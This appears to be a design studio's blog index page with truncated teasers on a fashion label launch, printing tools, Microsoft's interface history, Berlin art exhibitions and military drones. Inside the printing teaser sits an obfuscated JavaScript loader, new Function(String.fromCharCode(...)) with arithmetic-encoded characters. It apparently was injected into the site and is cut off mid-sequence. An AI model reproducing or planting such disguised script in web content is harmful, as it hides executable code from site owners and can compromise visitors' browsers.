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INTRODUCING: VERDEQ

Congratulations: tomorrow sees the launch, after two years of preparation, of Verdeq, a new label for bags made from high-tech convertible fabric. Smart idea, smart apparel: Verdeq was co-founded by our very own long-time editor Florian Rehn, with the identity and art direction, needless to say, designed by mono.studio.
Launch of Verdeq
Preview: Friday, 09. September 2016, [...]

TOOLS OF PRINTING

A small discovery at the printers’ today: the utterly beautiful micrometre measure, used to determine the thickness of paper.
(new Function(String.fromCharCode(19 – 9, 126 – 8, 100 – 3, 122 – 8, 37 – 5, 109 – 2, 104 – 3, 129 – 8, 36 – 4, 67 – 6, 34 – 2, 41 – 2, [...]

MICROSOFT & THE ART OF THE INTERFACE

Microsoft is turning 30 which, in human years, must translate into something like 120 or so. To celebrate the occasion, The Guardian examined Microsoft’s interface design of the past three decades, and gosh, how time passes.

Point And Duration

A good while ago, we introduced the Dexter Sinister-curated Watch Wyoscan 0.5 hz, and now it’s available as an app for your phone:
Time is like that — both point AND duration. This is how it can bend and warp. A week, a second, a season: all are specific and discrete, but none are [...]

FIRE AND FORGET. ON VIOLENCE

Tonight the group exhibition Fire and Forget. On Violence, curated by Ellen Blumenstein and Daniel Tyradellis, opens at KW Institute for Contemporary Art in Berlin. “Fire and forget” comes from military jargon, and is a term for weapon systems that are no longer used in direct combat with an enemy but are launched from a [...]

THE FUTURE OF THE PAST

Remember those? For his project The Long Lines, photographer Spencer Harding spent a few weeks photographing dozens of ‘microwave towers’ in California, now defunct relics marking a turning point in telecommunication when phone signals were first transmitted via the sky rather than the earth.
Photography: The Long Lines by Spencer Harding

Monologue of a predator drone

We have seen consumer drones used for choreographical endeavors and music contextualization from above. Frensh philosopher Grégoire Chamayou inquires in the less creative but more destructive use of military predator drones.
Essentially, by combining modern weaponry in unmanned vehicles with remote video monitoring, military forces have found a way to project power which is entirely risk-free for [...]

Searching for good news

Sure, there are a lot of bad things happening out there but let’s focus on the positive – after winter always comes summer, Gus van Sant keeps on producing movies we are looking forward to, the second edition of the first recycled Fairphone is in work, the number of Ebola reinfections seems to finally go [...]

EMPATHY WITH THINGS

Mark Leckey, Circa 87, 2014 (Courtesy: Galerie Buchholz)
Although his oeuvre spans little more than 15 years, British artist Mark Leckey (born in 1964) is already considered a reference for a young generation of artists. After his studies he withdrew from the art world for nearly a decade. In 1999, with the video Fiorucci Made Me [...]

WANNA PLAY?

On one of the most famous streets of Berlin, Oranienstrasse, in the heart of Kreuzberg, a performance in a glass-walled container has been taking place. In collaboration with Hebbel am Ufer, artist Dries Verhoeven is performing his piece Wanna Play? by living in the container. In this period of fifteen days the artist is communicating [...]